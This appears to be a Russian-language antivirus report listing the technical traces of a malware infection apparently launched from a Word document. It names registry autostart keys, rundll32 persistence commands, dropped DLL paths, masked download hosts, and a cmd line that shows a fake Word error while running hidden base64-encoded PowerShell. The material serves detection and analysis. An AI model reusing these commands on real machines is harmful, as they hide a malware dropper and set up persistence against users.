Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\rofy.rxe] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rofy.rxe] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Yukm\rofy.rxe",RunDLL'
- 'rofy.rxe' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Yukm\rofy.rxe",RunDLL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IABzAGUAVAAgACAANgAzAHEAZAAgACgAIABbAFQAWQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAxAH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACcAcwAnACwAJwBEAGkAUgBlACcALAAnAHIAeQAnACwAJwBjAHQA...
- %HOMEPATH%\aop61l3\p4usc_8\tz5pq3e.dll
- %WINDIR%\syswow64\yukm\rofy.rxe
- %HOMEPATH%\aop61l3\p4usc_8\tz5pq3e.dll в %WINDIR%\syswow64\yukm\rofy.rxe
- '18#.#6.18.83':80
- http://wi#######.mediadevstaging.com/wp-content/N/
- http://18#.#6.18.83/t0xq151/olbg96/fwgtfv/gr6z4m3u8/
- DNS ASK wi#######.mediadevstaging.com
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABzAGUAVAAgACAANgAzAHEAZAAgACgAIABbAFQAWQBQAEUAXQAoACIAewAwAH...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Aop61l3\P4usc_8\Tz5pq3e.dll #1
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Yukm\rofy.rxe",RunDLL